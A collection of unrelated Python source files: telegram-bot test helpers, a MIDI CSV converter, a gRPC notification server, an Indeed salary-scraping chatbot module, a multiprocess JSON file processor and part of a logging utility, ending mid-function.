Args:
shortcut_method: The shortcut method, e.g. `message.reply_text`
bot: The bot
bot_method_name: The bot methods name, e.g. `'send_message'`
skip_params: Parameters that are allowed to be missing, e.g. `['inline_message_id']`
shortcut_kwargs: The kwargs passed by the shortcut directly, e.g. ``chat_id``
Returns:
:obj:`bool`
"""
if not skip_params:
skip_params = set()
if not shortcut_kwargs:
shortcut_kwargs = set()
orig_bot_method = getattr(bot, bot_method_name)
bot_signature = inspect.signature(orig_bot_method)
expected_args = set(bot_signature.parameters.keys()) - {'self'} - set(skip_params)
positional_args = {
name for name, param in bot_signature.parameters.items() if param.default == param.empty
}
ignored_args = positional_args | set(shortcut_kwargs)
shortcut_signature = inspect.signature(shortcut_method)
# auto_pagination: Special casing for InlineQuery.answer
kwargs = {name: name for name in shortcut_signature.parameters if name != 'auto_pagination'}
def make_assertion(**kw):
# name == value makes sure that
# a) we receive non-None input for all parameters
# b) we receive the correct input for each kwarg
received_kwargs = {
name for name, value in kw.items() if name in ignored_args or value == name
}
if not received_kwargs == expected_args:
raise Exception(
f'{orig_bot_method.__name__} did not receive correct value for the parameters '
f'{expected_args - received_kwargs}'
)
if bot_method_name == 'get_file':
# This is here mainly for PassportFile.get_file, which calls .set_credentials on the
# return value
return File(file_id='result', file_unique_id='result')
return True
setattr(bot, bot_method_name, make_assertion)
try:
shortcut_method(**kwargs)
except Exception as exc:
raise exc
finally:
setattr(bot, bot_method_name, orig_bot_method)
return True
def check_defaults_handling(
method: Callable,
bot: ExtBot,
return_value=None,
) -> bool:
"""
Checks that tg.ext.Defaults are handled correctly.
Args:
method: The shortcut/bot_method
bot: The bot
return_value: Optional. The return value of Bot._post that the method expects. Defaults to
None. get_file is automatically handled.
"""
def build_kwargs(signature: inspect.Signature, default_kwargs, dfv: Any = DEFAULT_NONE):
kws = {}
for name, param in signature.parameters.items():
# For required params we need to pass something
if param.default == param.empty:
# Some special casing
if name == 'permissions':
kws[name] = ChatPermissions()
elif name in ['prices', 'media', 'results', 'commands', 'errors']:
kws[name] = []
elif name == 'ok':
kws['ok'] = False
kws['error_message'] = 'error'
else:
kws[name] = True
# pass values for params that can have defaults only if we don't want to use the
# standard default
elif name in default_kwargs:
if dfv != DEFAULT_NONE:
kws[name] = dfv
# Some special casing for methods that have "exactly one of the optionals" type args
elif name in ['location', 'contact', 'venue', 'inline_message_id']:
kws[name] = True
return kws
shortcut_signature = inspect.signature(method)
kwargs_need_default = [
kwarg
for kwarg, value in shortcut_signature.parameters.items()
if isinstance(value.default, DefaultValue)
]
# shortcut_signature.parameters['timeout'] is of type DefaultValue
method_timeout = shortcut_signature.parameters['timeout'].default.value
default_kwarg_names = kwargs_need_default
# special case explanation_parse_mode of Bot.send_poll:
if 'explanation_parse_mode' in default_kwarg_names:
default_kwarg_names.remove('explanation_parse_mode')
defaults_no_custom_defaults = Defaults()
defaults_custom_defaults = Defaults(
**{kwarg: 'custom_default' for kwarg in default_kwarg_names}
)
expected_return_values = [None, []] if return_value is None else [return_value]
def make_assertion(_, data, timeout=DEFAULT_NONE, df_value=DEFAULT_NONE):
expected_timeout = method_timeout if df_value == DEFAULT_NONE else df_value
if timeout != expected_timeout:
pytest.fail(f'Got value {timeout} for "timeout", expected {expected_timeout}')
for arg in (dkw for dkw in kwargs_need_default if dkw != 'timeout'):
# 'None' should not be passed along to Telegram
if df_value in [None, DEFAULT_NONE]:
if arg in data:
pytest.fail(
f'Got value {data[arg]} for argument {arg}, expected it to be absent'
)
else:
value = data.get(arg, '`not passed at all`')
if value != df_value:
pytest.fail(f'Got value {value} for argument {arg} instead of {df_value}')
if method.__name__ in ['get_file', 'get_small_file', 'get_big_file']:
# This is here mainly for PassportFile.get_file, which calls .set_credentials on the
# return value
out = File(file_id='result', file_unique_id='result')
nonlocal expected_return_values
expected_return_values = [out]
return out.to_dict()
# Otherwise return None by default, as TGObject.de_json/list(None) in [None, []]
# That way we can check what gets passed to Request.post without having to actually
# make a request
# Some methods expect specific output, so we allow to customize that
return return_value
orig_post = bot.request.post
try:
for default_value, defaults in [
(DEFAULT_NONE, defaults_no_custom_defaults),
('custom_default', defaults_custom_defaults),
]:
bot.defaults = defaults
# 1: test that we get the correct default value, if we don't specify anything
kwargs = build_kwargs(
shortcut_signature,
kwargs_need_default,
)
assertion_callback = functools.partial(make_assertion, df_value=default_value)
setattr(bot.request, 'post', assertion_callback)
assert method(**kwargs) in expected_return_values
# 2: test that we get the manually passed non-None value
kwargs = build_kwargs(shortcut_signature, kwargs_need_default, dfv='non-None-value')
assertion_callback = functools.partial(make_assertion, df_value='non-None-value')
setattr(bot.request, 'post', assertion_callback)
assert method(**kwargs) in expected_return_values
# 3: test that we get the manually passed None value
kwargs = build_kwargs(
shortcut_signature,
kwargs_need_default,
dfv=None,
)
assertion_callback = functools.partial(make_assertion, df_value=None)
setattr(bot.request, 'post', assertion_callback)
assert method(**kwargs) in expected_return_values
except Exception as exc:
raise exc
finally:
setattr(bot.request, 'post', orig_post)
bot.defaults = None
return True
|
convert_short.py | import os, csv, pprint, threading, sys
def to_beats(time, tempo):
return round(int(time)/tempo)
def to_char(num):
return chr(int(num))
def run(file):
print(file)
with open(file, encoding="utf-8", errors="replace") as f:
reader = csv.reader(f)
music = []
playing = ""
for row in reader:
if row[2] == " Time_signature":
tempo = int(row[5])
tempo = tempo * 4
break
f.seek(0)
times = []
for row in reader:
times.append(to_beats(row[1], tempo))
total_time = max(times)
f.seek(0)
for beat in range(0, total_time):
for row in reader:
if beat == to_beats(row[1], tempo):
if row[2] == " Note_on_c":
playing += to_char(row[4])
if row[2] == " Note_off_c":
playing = playing.replace(to_char(row[4]), "")
if playing != "":
music.append(playing)
f.seek(0)
with open(file+"short", 'w') as myfile:
wr = csv.writer(myfile, quoting=csv.QUOTE_ALL)
wr.writerow(music)
def start(files):
for i in files:
t = threading.Thread(target=run, args=(i,))
t.start()
|
master.py | #
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
#
import asyncio
import functools
import inspect
import logging
import threading
import time
from concurrent import futures
import grpc
from grpc import _common, _server
from grpc._cython.cygrpc import StatusCode
from grpc._server import _serialize_response, _status, _abort, _Context, _unary_request, \
_select_thread_pool_for_behavior, _unary_response_in_pool
from notification_service.proto import notification_service_pb2_grpc
# sys.path.append(os.path.abspath(os.path.join(os.getcwd(), "../../..")))
_PORT = 50051
_ONE_DAY_IN_SECONDS = 60 * 60 * 24
class NotificationMaster(object):
"""
Block/Async server of Notification function service.
"""
def __init__(self, service, port=_PORT):
self.executor = Executor(futures.ThreadPoolExecutor(max_workers=10))
self.server = grpc.server(self.executor)
self.service = service
notification_service_pb2_grpc.add_NotificationServiceServicer_to_server(service,
self.server)
self.server.add_insecure_port('[::]:' + str(port))
def run(self, is_block=False):
"""
start the notification service
:param is_block: is block mode
:return:
"""
self.service.start()
self.server.start()
print('Notification master started.')
if is_block:
try:
while True:
time.sleep(_ONE_DAY_IN_SECONDS)
except KeyboardInterrupt:
self.stop()
else:
pass
def stop(self):
"""
stop the notification service
:return:
"""
self.executor.shutdown()
self.server.stop(0)
self.service.stop()
print('Notification master stopped.')
def _loop(loop: asyncio.AbstractEventLoop):
asyncio.set_event_loop(loop)
if not loop.is_running() or loop.is_closed():
loop.run_forever()
pending = asyncio.all_tasks(loop=loop)
if pending:
loop.run_until_complete(asyncio.gather(*pending))
class Executor(futures.Executor):
def __init__(self, thread_pool, loop=None):
super().__init__()
self._shutdown = False
self._thread_pool = thread_pool
self._loop = loop or asyncio.get_event_loop()
if not self._loop.is_running() or self._loop.is_closed():
self._thread = threading.Thread(target=_loop, args=(self._loop,), daemon=True)
self._thread.start()
def submit(self, fn, *args, **kwargs):
if self._shutdown:
raise RuntimeError('Cannot schedule new futures after shutdown.')
if not self._loop.is_running():
raise RuntimeError('Loop must be started before any function could be submitted.')
if inspect.iscoroutinefunction(fn):
coroutine = fn(*args, **kwargs)
return asyncio.run_coroutine_threadsafe(coroutine, self._loop)
else:
func = functools.partial(fn, *args, **kwargs)
return self._loop.run_in_executor(self._thread_pool, func)
def shutdown(self, wait=True):
self._shutdown = True
if wait:
self._thread_pool.shutdown()
async def _call_behavior_async(rpc_event, state, behavior, argument, request_deserializer):
context = _Context(rpc_event, state, request_deserializer)
try:
return await behavior(argument, context), True
except Exception as e:
with state.condition:
if e not in state.rpc_errors:
logging.exception(e)
_abort(state, rpc_event.operation_call, StatusCode.unknown, _common.encode(e))
return None, False
async def _unary_response_in_pool_async(rpc_event, state, behavior, argument_thunk, request_deserializer,
response_serializer):
argument = argument_thunk()
if argument is not None:
response, proceed = await _call_behavior_async(rpc_event, state, behavior, argument, request_deserializer)
if proceed:
serialized_response = _serialize_response(rpc_event, state, response, response_serializer)
if serialized_response is not None:
_status(rpc_event, state, serialized_response)
def _handle_unary_unary(rpc_event, state, method_handler, default_thread_pool):
unary_request = _unary_request(rpc_event, state, method_handler.request_deserializer)
thread_pool = _select_thread_pool_for_behavior(method_handler.unary_unary, default_thread_pool)
if asyncio.iscoroutinefunction(method_handler.unary_unary):
return thread_pool.submit(_unary_response_in_pool_async, rpc_event, state, method_handler.unary_unary,
unary_request, method_handler.request_deserializer,
method_handler.response_serializer)
else:
return thread_pool.submit(_unary_response_in_pool, rpc_event, state, method_handler.unary_unary, unary_request,
method_handler.request_deserializer, method_handler.response_serializer)
_server._handle_unary_unary = _handle_unary_unary
|
rihanna_job.py | import requests
from bs4 import BeautifulSoup
import config
from multiprocessing.pool import ThreadPool
from threading import Thread
import numpy as np
import matplotlib
matplotlib.use('Agg')
from matplotlib import pyplot as plt
import time
import os
import random as r
pool = ThreadPool(processes=5)
cities = ["London", "Manchester", "Edinburgh", "Bristol", "Bath", "Birmingham", "Liverpool", "Glasgow"]
thread_result = [list(range(len(cities))), list(range(len(cities)))] # [[min], [max]]
def selector(message):
if message[:len("job search average salary for ")] == "job search average salary for ":
query = message[len("job search average salary for "):].split(' in ')
job = query[0].strip()
place = query[1].strip()
return average_salary(job,place)
elif message[:len("job search min salary for ")] == "job search min salary for ":
query = message[len("job search min salary for "):].split(' in ')
job = query[0].strip()
place = query[1].strip()
return min_salary(job, place)
elif message[:len("job search max salary for ")] == "job search max salary for ":
query = message[len("job search max salary for "):].split(' in ')
job = query[0].strip()
place = query[1].strip()
return max_salary(job, place)
elif message[:len("job search average salary graph for ")] == "job search average salary graph for ":
query = message[len("job search average salary graph for "):].split(' in ')
job = query[0].strip()
return average_salary_graph(job)
else:
return "Rihanna is not in the mood to answer this job search related question"
def go_to(url):
page = requests.get(url, headers=config.header)
soup = BeautifulSoup(page.content, 'html.parser')
return soup
def search_page(job, where):
url = f"https://www.indeed.co.uk/jobs?q={job}&l={where}"
page = requests.get(url, headers=config.header)
soup = BeautifulSoup(page.content, 'html.parser')
# items = soup.find_all("div", {"class": "jobsearch-jobDescriptionText"})
items = soup.find_all("div", {"class": "jobsearch-SerpJobCard unifiedRow row result"})
return items
def search_job(job, where):
items = search_page(job, where)
min_ = []
max_ = []
for job_post in items:
try:
salary_raw = job_post.find("span", {"class": "salaryText"}).get_text()
if '-' in salary_raw:
salary_raw = salary_raw.split('-')
con = salary_raw[1].split()[-1].strip()
if con == 'year':
multi = 1
elif con == 'month':
multi = 12
else:
multi = 5*4*12
min_.append(float(salary_raw[0].strip()[1:].replace(',', ''))*multi)
max_.append(float(salary_raw[1].split()[0].strip()[1:].replace(',', ''))*multi)
except AttributeError:
pass
return min_, max_
def add_format(query):
query = str(round(query, 2))
raw = query.split('.')
points = raw[1] if len(raw[1]) == 2 else raw[1]+'0'
int_ = format(int(raw[0]), ',d')
return f'{int_}.{points}'
def average_salary_raw(job, place, th=-1):
min_, max_ = search_job(job, place)
if len(min_) == 0:
if th != -1: # getting thread result
thread_result[0][th] = 0
thread_result[1][th] = 0
#print('no')
else:
return 0
else:
avg_min = sum(min_) / len(min_)
avg_max = sum(max_) / len(max_)
if th != -1: # getting thread result
thread_result[0][th] = avg_min
thread_result[1][th] = avg_max
#print(thread_result)
else:
return round(avg_min, 2), round(avg_max, 2)
def average_salary(job, place):
result = average_salary_raw(job, place)
if result == 0:
return f"Rihanna could not find {job}"
else:
avg_min = add_format(result[0])
avg_max = add_format(result[1])
display = f"The average annual salary for {job} in {place.capitalize()} ranges from £{avg_min} to £{avg_max}"
reply = {'display': display, 'say': display}
return reply
def min_salary(job, place):
# add min salary and job link
items = search_page(job, place)
min_ = {} # {link: salary}
min_comp = {} # {link: company}
for job_post in items:
try:
salary_raw = job_post.find("span", {"class": "salaryText"}).get_text()
try:
company = job_post.find("a", {"data-tn-element": "companyName"}).get_text()
except AttributeError:
company = job_post.find("span", {"class": "company"}).get_text()
#company = job_post.find("a", {"class": "turnstileLink"}).get_text()
link = job_post.find("a", {"class": "jobtitle turnstileLink"}).get('href')
if '-' in salary_raw:
salary_raw = salary_raw.split('-')
con = salary_raw[1].split()[-1].strip()
if con == 'year':
multi = 1
elif con == 'month':
multi = 12
else:
multi = 5 * 4 * 12
min_[link] = float(salary_raw[0].strip()[1:].replace(',', '')) * multi
min_comp[link] = company
except AttributeError:
pass
if len(min_) > 0:
min_job = min(min_, key=min_.get)
h = '\n'
reply = {'display': f'The Minimum Salary for {job} in {place} from indeed website is £{add_format(min_[min_job])} Annually. '
f'<br>This Job is offered by {min_comp[min_job].replace(h, "")}. '
f'<a href="https://www.indeed.co.uk{min_job}" target="_blank">view</a>',
'say': f'The Minimum Salary for {job} in {place} from indeed website is £{add_format(min_[min_job])} Annually. '
f'This Job is offered by {min_comp[min_job].replace(h, "")}. '
f'link is provided'}
return reply
else:
reply = f"Rihanna could not find {job}"
return {'display': reply, 'say': reply}
def max_salary(job, place):
items = search_page(job, place)
max_ = {} # {link: salary}
max_comp = {} # {link: company}
for job_post in items:
try:
salary_raw = job_post.find("span", {"class": "salaryText"}).get_text()
try:
company = job_post.find("a", {"data-tn-element": "companyName"}).get_text()
except AttributeError:
company = job_post.find("span", {"class": "company"}).get_text()
#company = job_post.find("a", {"class": "turnstileLink"}).get_text()
link = job_post.find("a", {"class": "jobtitle turnstileLink"}).get('href')
if '-' in salary_raw:
salary_raw = salary_raw.split('-')
con = salary_raw[1].split()[-1].strip()
if con == 'year':
multi = 1
elif con == 'month':
multi = 12
else:
multi = 5 * 4 * 12
max_[link] = float(salary_raw[1].split()[0].strip()[1:].replace(',', ''))*multi
max_comp[link] = company
except AttributeError:
pass
if len(max_) > 0:
min_job = max(max_, key=max_.get)
h = '\n'
reply = {'display': f'The Maximum Salary for {job} in {place} from indeed website is £{add_format(max_[min_job])} Annually. '
f'<br>This Job is offered by {max_comp[min_job].replace(h, "")}. '
f'<a href="https://www.indeed.co.uk{min_job}" target="_blank">view</a>',
'say': f'The Maximum Salary for {job} in {place} from indeed website is £{add_format(max_[min_job])} Annually. '
f'This Job is offered by {max_comp[min_job].replace(h, "")}. '
f'link is provided'}
return reply
else:
reply = f"Rihanna could not find {job}"
return {'display': reply, 'say': reply}
def k_format(x):
return round(x/1000, 1)
def salary_plot(cities_min, cities_max, job):
#print(f'values:{cities_min}\n{cities_max}')
width = 0.35
fig = plt.figure()
ax = fig.add_subplot(111)
ind = np.arange(len(cities_max))
p1 = ax.bar(ind, cities_min, width, color='r', alpha=0.3)
p2 = ax.bar(ind, np.array(cities_max) - np.array(cities_min), width, color='g', bottom=cities_min, alpha=0.3)
ax.set_xticks(ind)
ax.set_xticklabels(cities)
for i in range(len(cities_max)):
if cities_max[i] - cities_min[i] < 4000:
ax.text(i, cities_min[i]+4000, '{}K'.format(k_format(cities_max[i])), rotation=0,
ha="center", va="center", bbox=dict(boxstyle="round", ec=(0., 0., 0.), fc=(0.7, 0.9, 1.), ))
ax.text(i, cities_min[i], '{}K'.format(k_format(cities_min[i])), rotation=0,
ha="center", va="center", bbox=dict(boxstyle="round", ec=(1., 0.5, 0.5), fc=(1., 0.8, 0.8), ))
else:
ax.text(i, cities_max[i], '{}K'.format(k_format(cities_max[i])), rotation=0,
ha="center", va="center", bbox=dict(boxstyle="round", ec=(0., 0., 0.), fc=(0.7, 0.9, 1.), ))
ax.text(i, cities_min[i], '{}K'.format(k_format(cities_min[i])), rotation=0,
ha="center", va="center", bbox=dict(boxstyle="round", ec=(1., 0.5, 0.5), fc=(1., 0.8, 0.8), ))
ax.legend((p1[0], p2[0]), ('Minimum Salary', 'Maximum Salary'))
# ax.set_ylabel('\n'.join(wrap(f'Plot for {no} MECs', 8))).set_rotation(0)
ax.set_ylabel("Annual Salary", fontdict={'weight': 'medium', 'size': 12})
ax.set_ylim(top=max(cities_max)+10000)
ax.set_ylim(bottom=min(cities_min)//2)
plt.title(f"Average Annual Salary Range for {job} in UK Cities", fontdict={'weight': 'medium', 'size': 12})
plt.xticks(rotation=45)
plt.subplots_adjust(bottom=0.16)
plt.savefig(rf'C:\Users\emyli\PycharmProjects\Chatbot_Project\salary.png')
plt.close()
def js_plot(d_min, d_max, job):
chart_id = r.randrange(1, 10000)
plot = f"""
<div style="width:500px; background-color:white;">
<canvas id="chart{chart_id}" height="200"></canvas>
</div>
"""
plot += f"""
<script>
var ctx = document.getElementById('chart{chart_id}').getContext('2d');
var chart{chart_id} = new Chart(ctx, """
plot += """
{
type: 'bar',
data: {
labels: ['Min Salary', 'Max Salary'],
datasets: [{
label: 'London',
"""
plot += f'data: [{d_min[0]}, {d_max[0]}],'
plot += """
borderWidth: 1,
backgroundColor: 'rgba(253, 185, 185, 1)',
},
{
label: 'Manchester',
"""
plot += f'data: [{d_min[1]}, {d_max[1]}],'
plot += """
backgroundColor: 'rgba(185, 253, 185, 1)',
borderWidth: 1
},
{
label: 'Edinburgh',
"""
plot += f'data: [{d_min[2]}, {d_max[2]}],'
plot += """
backgroundColor: 'rgba(109, 31, 187, 0.7)',
borderWidth: 1
},
{
label: 'Bristol',
"""
plot += f'data: [{d_min[3]}, {d_max[3]}],'
plot += """
backgroundColor: 'rgba(187, 31, 109, 0.7)',
borderWidth: 1
},
{
label: 'Bath',
"""
plot += f'data: [{d_min[4]}, {d_max[4]}],'
plot += """
backgroundColor: 'rgba(187, 109, 31, 0.7)',
borderWidth: 1
},
{
label: 'Birmingham',
"""
plot += f'data: [{d_min[5]}, {d_max[5]}],'
plot += """
backgroundColor: 'rgba(109, 187, 31, 0.7)',
borderWidth: 1
},
{
label: 'Liverpool',
"""
plot += f'data: [{d_min[6]}, {d_max[6]}],'
plot += """
backgroundColor: 'rgba(31, 187, 187, 0.7)',
borderWidth: 1
},
{
label: 'Glasgow',
"""
plot += f'data: [{d_min[7]}, {d_max[7]}],'
plot += """
backgroundColor: 'rgba(187, 109, 31, 0.7)',
borderWidth: 1
},
]
},
options: {
scales: {
xAxes: [{
}],
yAxes: [{
ticks: {
callback: function(value, index, values) {
return '£' + (value/1000).toFixed(2) + 'k';
},
beginAtZero: true
}
}]
},
title: {
fontSize: 20,
"""
plot += f'text: "Salary for {job}",'
plot += """
display: true,
fontStyle: 'bold',
},
}
});
</script>
"""
return plot
def average_salary_graph_(job):
path = rf'C:\Users\emyli\PycharmProjects\Chatbot_Project\salary.png'
try:
os.remove(path)
except Exception as e:
pass
city_data = list(range(len(cities)))
cities_min = list(range(len(cities)))
cities_max = list(range(len(cities)))
for i in cities:
city_data[cities.index(i)] = pool.apply_async(average_salary_raw, (job, i))
for i in range(len(city_data)):
if city_data[i].get() == 0:
cities_max[i] = 0
cities_min[i] = 0
else:
result = city_data[i].get()
cities_max[i] = round(result[1], 2)
cities_min[i] = round(result[0], 2)
# salary_plot(cities_min, cities_max, job)
display = js_plot(cities_min, cities_max, job)
# display = f'<img src="salary.png?{time.time()}" alt=f"Average Salary graph for {job}" width="65%" height="65%">'
say = f"The displayed graph contains the average salary range for {job} job in Top cities in UK"
reply = {'display': display,
'say': say}
return reply
def average_salary_graph(job):
global thread_result
path = rf'C:\Users\emyli\PycharmProjects\Chatbot_Project\salary.png'
try:
os.remove(path)
except Exception as e:
pass
cities = ["London", "Manchester", "Edinburgh", "Bristol", "Bath", "Birmingham", "Liverpool", "Glasgow"]
city_data = []
for i in cities:
city_data.append(Thread(target=average_salary_raw, args=(job, i, cities.index(i))))
city_data[-1].daemon = True
city_data[-1].start()
for _thread in city_data:
_thread.join()
cities_min,cities_max = thread_result
# print(cities_max)
# print(cities_min)
# salary_plot(cities_min, cities_max, job)
display = js_plot(cities_min, cities_max, job)
# display = f'<img src="salary.png?{time.time()}" alt=f"Average Salary graph for {job}" width="65%" height="65%">'
say = f"The displayed graph contains the average salary range for {job} job in Top cities in UK"
reply = {'display': display,
'say': say}
thread_result = [list(range(len(cities))), list(range(len(cities)))]
return reply
def key_skills(job, place): # TODO
# find job key skills
pass
#print(average_salary_graph(job='devops'))
#print(selector("job search min salary for devops in london"))
|
MultiprocessFiles.py | """Reads and writes Line Delimited JSON files in parallel processing."""
from __future__ import print_function
import multiprocessing
import gzip
import json
import time
class MultiprocessFiles:
"""Reads and writes Line Delimited JSON files in parallel processing.
Attributes:
num_procs: int
number of processors to work on
queue_size: int
size of multiprocessing queue
workq: multiprocessing queue
queue to read from
writeq: multiprocessing queue
queue to write from
infile: string
path to file from where to read tweets
outfile: string
path to file to write tweets to
work_func: function
function to apply to tweets
"""
def __init__(self, infile, outfile, work_func, num_procs=0,
queue_size=2000, verbose=False):
if num_procs == 0:
self.num_procs = multiprocessing.cpu_count()
else:
self.num_procs = num_procs
if verbose:
print('using %d procs' % (self.num_procs))
self.queue_size = self.num_procs * queue_size
self.workq = multiprocessing.Queue(self.queue_size)
self.writeq = multiprocessing.Queue()
self.infile = infile
self.outfile = outfile
self.work_func = work_func
def reader(self):
""" Reads from file and adds JSON objects to multiprocessing queue. """
with gzip.open(self.infile, 'r') as source:
try:
for line in source:
# add to queue
self.workq.put(line)
except IOError as e:
print(str(e))
for _ in range(self.num_procs):
self.workq.put(-1)
def worker(self):
""" Takes JSON object from workq and applies function to it.
At the end puts JSON object to writeq.
"""
while True:
entry = self.workq.get(block=True)
if type(entry) == int:
if entry < 0:
break
# process line
tweet = self.work_func(entry)
if tweet is not None:
tweet_string = json.dumps(tweet) + '\n'
self.writeq.put(tweet_string)
# exit
self.writeq.put(-1)
def writer(self):
""" Takes JSON object from queue and writes it to outfile. """
start_time = time.time()
counter = 0
with gzip.open(self.outfile, 'a') as destination:
while True:
tweet = self.writeq.get(block=True)
if type(tweet) == int:
if tweet == - 1:
self.num_procs = self.num_procs - 1
if self.num_procs == 0:
break
else:
destination.write(tweet)
destination.flush()
counter += 1
if counter % (4 * self.queue_size) == 0:
end_time = time.time()
processed_per_second = (counter / (end_time -
start_time)) / 1000
print('total processed lines = %dk lines/s = %dk'
% (int(counter / 1000),
int(processed_per_second)))
def run(self):
""" Runs reader, num_procs workers and writer. """
# start procs
procs = []
proc = multiprocessing.Process(target=self.reader)
proc.start()
procs.append(proc)
for _ in xrange(self.num_procs):
proc = multiprocessing.Process(target=self.worker)
proc.start()
procs.append(proc)
proc = multiprocessing.Process(target=self.writer)
proc.start()
procs.append(proc)
# wait for processes to finish
[proc.join() for proc in procs]
|
logging.py | # encoding: utf-8
from __future__ import absolute_import
import logging
import os
import random
import sys
import threading
import time
import traceback
from contextlib import ExitStack
from functools import wraps, partial
from itertools import cycle, chain, repeat, count
from collections import OrderedDict
from easypy.colors import colorize, uncolored
from easypy.humanize import compact as _compact
from easypy.timing import timing as timing_context, Timer
from easypy.threadtree import ThreadContexts
from easypy.contexts import contextmanager
logging.INFO1 = logging.INFO+1
logging.addLevelName(logging.INFO1, "INFO1")
CLEAR_EOL = '\x1b[0K'
IS_A_TTY = sys.stdout.isatty()
LOG_WITH_COLOR=None
def compact(msg):
raise NotImplementedError()
def set_width(TERM_WIDTH):
if TERM_WIDTH in (True, None):
TERM_WIDTH, _ = os.get_terminal_size()
TERM_WIDTH = max(TERM_WIDTH, 120)
if TERM_WIDTH:
compact = lambda line: _compact(line, TERM_WIDTH-5)
else:
TERM_WIDTH = 0
compact = lambda line: line
globals().update(locals())
def set_coloring(enabled):
global LOG_WITH_COLOR
LOG_WITH_COLOR = enabled
if enabled:
from easypy.colors import RED, GREEN, BLUE, WHITE, DARK_GRAY
else:
RED = GREEN = BLUE = WHITE = DARK_GRAY = lambda txt, *_, **__: txt
globals().update(locals())
# All this expected to be set by set_graphics call
LINE = None
DOUBLE_LINE = None
INDENT_SEGMENT = None
INDENT_OPEN = None
INDENT_CLOSE = None
INDENT_EXCEPTION = None
def set_graphics(GRAPHICAL):
if GRAPHICAL:
LINE = "─"
DOUBLE_LINE = "═"
INDENT_SEGMENT = " │ "
INDENT_OPEN = " ├───┮ "
INDENT_CLOSE = " ╰╼"
INDENT_EXCEPTION = " ╘═"
else:
LINE = "-"
DOUBLE_LINE = "="
INDENT_SEGMENT = "..| "
INDENT_OPEN = "..|---+ "
INDENT_CLOSE = " '-"
INDENT_EXCEPTION = " '="
globals().update(locals())
set_width(IS_A_TTY)
set_coloring(IS_A_TTY or os.environ.get('TERM_COLOR_SUPPORT'))
set_graphics(IS_A_TTY or os.environ.get('TERM_COLOR_SUPPORT'))
LEVEL_COLORS = {
logging.DEBUG: "DARK_GRAY",
logging.INFO: "GRAY",
logging.WARNING: "YELLOW",
logging.ERROR: "RED"
}
def get_level_color(level):
try:
return LEVEL_COLORS[level]
except KeyError:
sorted_colors = sorted(LEVEL_COLORS.items(), reverse=True)
for clevel, color in sorted_colors:
if level > clevel:
break
LEVEL_COLORS[level] = color
return color
INDENT_COLORS = [
("DARK_%s<<{}>>" % color.upper()).format
for color in "GREEN BLUE MAGENTA CYAN YELLOW".split()]
random.shuffle(INDENT_COLORS)
class LogLevelClamp(logging.Filterer):
def __init__(self, level=logging.DEBUG):
self.level = level
self.name = logging.getLevelName(level)
def filter(self, record):
if record.levelno > self.level:
record.levelname, record.levelno = self.name, self.level
return True
def get_console_handler():
try:
return logging._handlers['console']
except KeyError:
for handler in logging.root.handlers:
if not isinstance(handler, logging.StreamHandler):
continue
return handler
class ThreadControl(logging.Filter):
"""
Used by ContextLoggerMixin .solo and .suppressed methods to control logging to console
To use, add it to the logging configuration as a filter in the console handler
...
'filters': {
'thread_control': {
'()': 'easypy.logging.ThreadControl'
}
},
'handlers': {
'console': {
'class': 'logging.StreamHandler',
'filters': ['thread_control'],
},
"""
CONTEXT = ThreadContexts(counters='silenced')
# we use this ordered-dict to track which thread is currently 'solo-ed'
# we populate it with some initial values to make the 'filter' method
# implementation more convenient
SELECTED = OrderedDict()
IDX_GEN = count()
LOCK = threading.RLock()
@classmethod
@contextmanager
def solo(cls):
try:
with cls.LOCK:
idx = next(cls.IDX_GEN)
cls.SELECTED[idx] = threading.current_thread()
yield
finally:
cls.SELECTED.pop(idx)
def filter(self, record):
selected = False
while selected is False:
idx = next(reversed(self.SELECTED), None)
if idx is None:
selected = None
break
selected = self.SELECTED.get(idx, False)
if selected:
return selected == threading.current_thread()
return not self.CONTEXT.silenced
class ConsoleFormatter(logging.Formatter):
def formatMessage(self, record):
if not hasattr(record, "levelcolor"):
record.levelcolor = get_level_color(record.levelno)
msg = super().formatMessage(record)
if IS_A_TTY:
msg = '\r' + msg + CLEAR_EOL
return colorize(msg) if LOG_WITH_COLOR else uncolored(msg)
try:
import yaml
except ImportError:
pass
else:
try:
from yaml import CDumper as Dumper
except ImportError:
from yaml import Dumper
class YAMLFormatter(logging.Formatter):
def __init__(self, **kw):
self.dumper_params = kw
def format(self, record):
return yaml.dump(vars(record), Dumper=Dumper) + "\n---\n"
def configure_contextual_logging(_ctx=ExitStack(), **kw):
indentation = int(os.getenv("EASYPY_LOG_INDENTATION", "0"))
_ctx.enter_context(THREAD_LOGGING_CONTEXT(indentation=indentation, **kw))
THREAD_LOGGING_CONTEXT = ThreadContexts(counters="indentation", stacks="context", defaults=dict(host=''))
get_current_context = THREAD_LOGGING_CONTEXT.flatten
def get_indentation():
return THREAD_LOGGING_CONTEXT.indentation
def _progress():
from random import randint
while True:
yield chr(randint(0x2800, 0x28FF))
class ProgressBar:
WAITING = "▅▇▆▃ ▆▇▆▅▃_ " #
#PROGRESSING = "⣾⣽⣻⢿⡿⣟⣯⣷" #"◴◷◶◵◐◓◑◒"
SPF = 1.0/15
def __init__(self):
self._event = threading.Event()
self._thread = None
self._lock = threading.RLock()
self._depth = 0
def loop(self):
wait_seq = cycle(self.WAITING)
prog_seq = _progress()
wait_symb, progress_symb = map(next, (wait_seq, prog_seq))
last_time = hanging = 0
while True:
progressed = self._event.wait(self.SPF)
if self._stop:
break
now = time.time()
if now - last_time >= self.SPF:
wait_symb = next(wait_seq)
last_time = now
if progressed:
progress_symb = next(prog_seq)
hanging = 0
else:
hanging +=1
anim = WHITE(wait_symb+progress_symb)
elapsed = self._timer.elapsed.render(precision=0).rjust(8)
if hanging >= (5*10*60): # ~5 minutes with no log messages
elapsed = RED(elapsed)
else:
elapsed = BLUE(elapsed)
line = elapsed + self._last_line.rstrip()
line = line.replace("__PB__", anim)
print("\r" + line, end=CLEAR_EOL+"\r", flush=True)
self._event.clear()
print("\rDone waiting.", end=CLEAR_EOL+"\r", flush=True)
def progress(self, record):
if not self._thread:
return
if record.levelno >= logging.DEBUG:
record.drawing = "__PB__" + record.drawing[2:]
